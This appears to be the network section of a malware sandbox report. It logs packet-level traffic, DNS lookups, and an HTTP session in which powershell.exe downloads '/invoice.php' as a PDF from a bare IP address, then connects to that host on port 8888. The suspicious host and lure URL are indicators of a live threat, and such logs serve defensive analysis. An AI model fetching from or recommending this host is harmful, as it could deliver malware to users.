Jan 11, 2025 06:44:57.026360989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.026379108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.026390076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.026405096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.026415110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.026448011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.026607990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029349089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029397011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029414892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029445887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029488087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029499054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029510021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029542923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029576063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029589891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029602051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029613972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029625893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029637098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029649019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029680014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029752016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029764891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029777050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029788017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029798985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029808044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029839993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029840946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029844046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029858112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029870033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029882908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029895067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.029901028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.029932022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.071927071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.071940899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.071955919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.071973085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.071995020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072006941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072019100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072031975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072040081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072088003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072091103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072091103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072091103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072091103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072099924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072149992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072195053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072206974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072222948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072240114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072242975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072262049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072273970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072280884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072293043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072304010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072310925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072316885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072330952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072343111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072345972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072359085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072366953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072406054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072410107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072418928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072432041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072467089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072510004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072521925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072540998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072547913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072560072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072572947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072583914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072587967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072601080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072613955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072634935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072647095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072645903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072660923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072675943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072680950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072689056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072715998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072736025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072747946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072784901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072824955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072837114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072848082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072860956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072873116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.072873116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072896957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.072907925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073038101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073050022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073060036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073082924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073088884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073096991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073112011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073121071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073126078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073137999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073148966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073156118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073162079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073177099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073179960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073189020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073200941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073214054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073225975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073246956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073265076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073307037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073318958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073329926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073342085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073354006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073359013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073388100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073398113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073410034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073421001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073435068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073446035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073455095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073465109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073472023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073496103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073579073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073591948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073604107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073616982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073621035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073628902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073641062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073651075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073656082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073678970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073738098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073739052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073750973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073761940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073774099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073792934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073793888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073807955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073820114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073821068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073839903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073852062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073853016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073893070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073936939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073949099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.073982954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.073992014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.074002981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.074013948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.074026108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.074038029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.074040890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.074049950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.074060917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.074083090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.083548069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.095014095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116130114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116146088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116164923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116178036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116199970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116214991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116235971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116249084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116250038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116261005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116276979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116278887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116278887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116312981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116313934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116322994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116338015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116358042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116370916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116374016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116383076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116404057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116410971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116415977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116437912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116451025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116463900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116472006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116477013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116517067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116590023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116601944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116615057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116626978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.116656065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.116691113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.158767939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158785105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158804893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158818007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158829927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158842087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.158874989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158888102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.158900976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159008980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159008980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159037113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159049034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159060955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159073114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159080982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159100056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159101963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159112930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159126997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159137011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159149885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159161091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159162998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159177065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159183979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159188986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159209013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159209967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159224987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.159230947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.159264088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.246296883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.258475065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.397605896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.871444941 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.876346111 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:57.876409054 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.876950026 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:57.881829023 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:58.666292906 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:44:58.721663952 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:44:59.453468084 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:45:10.720376015 CET	60055	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:45:27.220887899 CET	61748	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:45:10.720376015 CET	192.168.2.4	1.1.1.1	0x36a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:45:27.220887899 CET	192.168.2.4	1.1.1.1	0xcb17	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:45:10.727771044 CET	1.1.1.1	192.168.2.4	0x36a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:45:27.227969885 CET	1.1.1.1	192.168.2.4	0xcb17	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7564	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:55.594440937 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:44:56.384057999 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:44:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:44:56.384164095 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:44:56.384206057 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:44:56.384241104 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
